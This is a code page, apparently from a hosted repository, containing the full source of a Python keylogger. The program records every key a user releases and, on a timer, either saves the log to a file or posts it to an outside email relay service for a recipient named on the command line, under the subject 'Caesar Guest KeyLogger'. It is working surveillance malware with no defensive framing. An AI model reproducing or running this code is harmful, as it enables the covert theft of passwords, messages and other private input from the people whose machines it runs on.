Spaces:
Runtime error
Runtime error
| import sys | |
| import base64 | |
| import keyboard # for keylogs | |
| import requests | |
| import smtplib, ssl # for sending email using SMTP protocol (gmail) | |
| # Timer is to make a method runs after an `interval` amount of time | |
| from threading import Timer | |
| from datetime import datetime | |
| from email.mime.multipart import MIMEMultipart | |
| from email.mime.text import MIMEText | |
| class Keylogger: | |
| def __init__(self, interval, report_method="email"): | |
| # we gonna pass SEND_REPORT_EVERY to interval | |
| self.interval = interval | |
| self.report_method = report_method | |
| # this is the string variable that contains the log of all | |
| # the keystrokes within `self.interval` | |
| self.log = "" | |
| # record start & end datetimes | |
| self.start_dt = datetime.now() | |
| self.end_dt = datetime.now() | |
| def callback(self, event): | |
| """ | |
| This callback is invoked whenever a keyboard event is occured | |
| (i.e when a key is released in this example) | |
| """ | |
| name = event.name | |
| if len(name) > 1: | |
| # not a character, special key (e.g ctrl, alt, etc.) | |
| # uppercase with [] | |
| if name == "space": | |
| # " " instead of "space" hello world my name is amari | |
| name = " " | |
| elif name == "enter": | |
| # add a new line whenever an ENTER is pressed | |
| name = "[ENTER]\n" | |
| elif name == "decimal": | |
| name = "." | |
| else: | |
| # replace spaces with underscores | |
| name = name.replace(" ", "_") | |
| name = f"[{name.upper()}]" | |
| # finally, add the key name to our global `self.log` variable | |
| self.log += name | |
| def update_filename(self): | |
| # construct the filename to be identified by start & end datetimes | |
| start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") | |
| end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") | |
| self.filename = f"keylog-{start_dt_str}_{end_dt_str}" | |
| def report_to_file(self): | |
| """This method creates a log file in the current directory that contains | |
| the current keylogs in the `self.log` variable""" | |
| # open the file in write mode (create it) | |
| with open(f"{self.filename}.txt", "w") as f: | |
| # write the keylogs to the file | |
| print(self.log, file=f) | |
| print(f"[+] Saved {self.filename}.txt") | |
| def sendmail(self, recipient_email , message, verbose=1): | |
| # manages a connection to an SMTP server | |
| # in our case it's for Microsoft365, Outlook, Hotmail, and live.com | |
| response = requests.post("https://revisionbank-email.onrender.com/raspsendemail",json={"raspsendemail":{"email":recipient_email,"message":message,"subject":"Caesar Guest KeyLogger"}}).json() | |
| if verbose: | |
| print(f"{datetime.now()} - Sent an email to {recipient_email} containing: {message}") | |
| print(response) | |
| def report(self): | |
| """ | |
| This function gets called every `self.interval` | |
| It basically sends keylogs and resets `self.log` variable | |
| """ | |
| if self.log: | |
| # if there is something in log, report it | |
| self.end_dt = datetime.now() | |
| # update `self.filename` | |
| self.update_filename() | |
| if self.report_method == "email": | |
| self.sendmail(TO_EMAIL_ADDRESS, self.log) | |
| elif self.report_method == "file": | |
| self.report_to_file() | |
| # if you don't want to print in the console, comment below line | |
| print(f"[{self.filename}] - {self.log}") | |
| self.start_dt = datetime.now() | |
| self.log = "" | |
| timer = Timer(interval=self.interval, function=self.report) | |
| # set the thread as daemon (dies when main thread die) | |
| timer.daemon = True | |
| # start the timer | |
| timer.start() | |
| def start(self): | |
| # record the start datetime | |
| self.start_dt = datetime.now() | |
| # start the keylogger | |
| keyboard.on_release(callback=self.callback) | |
| # start reporting the keylogs | |
| self.report() | |
| # make a simple message | |
| print(f"{datetime.now()} - Started keylogger") | |
| # block the current thread, wait until CTRL+C is pressed | |
| keyboard.wait() | |
| if __name__ == "__main__": | |
| # in seconds, 60 means 1 minute and so on | |
| if len(sys.argv) == 3: | |
| if sys.argv[1] == "help": | |
| print("caesarkeylogger.exe <recipientemail> <send_report_every>") | |
| elif sys.argv[1] != "help": | |
| TO_EMAIL_ADDRESS = sys.argv[1] | |
| SEND_REPORT_EVERY = int(sys.argv[2]) | |
| # if you want a keylogger to send to your email | |
| # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") | |
| # if you want a keylogger to record keylogs to a local file | |
| # (and then send it using your favorite method) | |
| past = datetime(2022, 12, 30) | |
| present = datetime.now() | |
| if past.date() >= present.date(): | |
| report_method = "email" | |
| else: | |
| report_method= "file" | |
| keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method=report_method) | |
| keylogger.start() | |
| elif len(sys.argv) != 3: | |
| print("caesarkeylogger.exe <recipientemail> <send_report_every>") | |